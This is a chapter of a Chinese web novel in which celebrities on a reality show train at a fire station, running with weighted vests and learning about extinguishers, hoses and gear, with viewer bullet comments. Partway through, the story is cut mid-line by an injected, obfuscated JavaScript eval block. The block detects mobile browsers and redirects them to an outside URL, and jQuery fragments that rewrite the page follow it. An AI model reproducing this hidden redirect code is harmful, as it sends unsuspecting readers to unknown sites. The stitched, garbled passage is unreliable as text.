前两公里大家还都能跟上，但从第三公里开始，女生们就有些掉队了。
其中以梁柏霖、周一和叶曦微的情况最好。
梁影帝不用说，每天早上都晨跑，虽然今天多负重了十公斤，但毕竟只是六分配，可以说是游刃有余了。
周一则是纯靠吃老本，还好原来热爱点健身。
叶曦微作为跳舞出道的歌手，体力自然也是杠杠滴。
最差的竟然是王浩然，看着平时白白嫩嫩，高高大大的，没想到这么虚，还没跑两步就满头大汗气喘吁吁。
“还行吗？”
周一看了眼苏念安，问到。
“还，还能撑！”
苏念安的体力也不是很好，这会已经感觉腿有些灌铅了。
“你把马甲脱下来给我吧！”
周一伸手帮苏念安脱下马甲，苏念安也没坚持，毕竟如果超时了，大家都没早饭吃。
其他人也有样学样，除了王浩然。
“那个，我，呼，我不行了……”
听着声音王浩然上气不接下气的声音，叶曦微标识有些无奈。
“咱俩换换吧。”
叶曦微评估了一下，感觉自己应该是没法负重两个人的，只能是换一下。
“太，太感谢你了！”
王浩然想要挤出一个微笑，但多少有点狰狞了。
【哈哈哈哈！王浩然可笑死我了！】
【王浩然：我尽力了????﹏???????】
王浩然感觉这五公里，比他命还长，**自己怎么到**的了。
他只知道，从来没觉得早上能吃口包子喝口粥这么幸福！
“不错！不管用什么方法，至少大家都完成了任务！”
“一会吃完饭，各组自由活动半小时，由队员带着你们学习一下消防器械。”
“是！”
别说，这样跑完，再热乎乎地吃一口早饭，不仅不困，反倒是有一种很清爽的感觉。
众人围成一圈，看着齐泽阳在示范消防器械的使用以及一些防护措施。
“我们常见的灭火器有这么几种，干粉、二氧化碳、泡沫……”
“还有我们消防车配备的水枪、水带以及我们穿的防护服…
…
经过了解才知道，消防员全副武装，消防服加头盔一起，竟然重达四十公斤。
“你们别看它重，很多时候都是我们保命的装备。
“哎！
一声惊呼。
王浩然不好意思地挠了挠脑袋，说道：
“我没想到这个水带这么沉。
他刚才好奇，想着把水带拿起来看看，结果差点把自己匡倒。
“这个水带是80mm的，大概重量有十二斤。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15678411|173182||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
齐泽阳解释道。
【消防员太不容易了！】
【我都不敢想，穿八十斤的衣服得多沉啊！】
半个小时过去，石队进来，对大家的基本知识进行了简单的考察。
然后是上午的体能训练。
“啊！
王浩然差点一个没坐稳从凳子上掉下去，怎么还有啊！
“穿上消防服，拿上头盔去外面集合，三分钟！
大家开始手忙脚乱地穿衣服，不过还好，有队员在一旁指导，至少每个人都顺利地穿上了。
“稍息！立正！向右看齐！向前看！
“第一项：登顶训练！齐泽阳！
“到！
“示范！
“是！
周一问了问刘钦佩才知道，齐泽阳是他们这群人里，除了队长之外所有项目分最高的人。
所谓的登顶，简单来讲就是爬楼梯，穿着所有装备，带着水带的爬楼梯。
在楼上特定的位置接好水带，同时将顶楼的假人安全带到地面。
就算一个循环。
今天津市不是很热，但也有二十多度，穿着这么厚的衣服，很难想象会有多热。
“三分十四秒，不错！
齐泽阳入列，周一看到头盔下的他已经大汗淋漓。
后来周一得知，石队能在三分钟内完成所有的这些任务。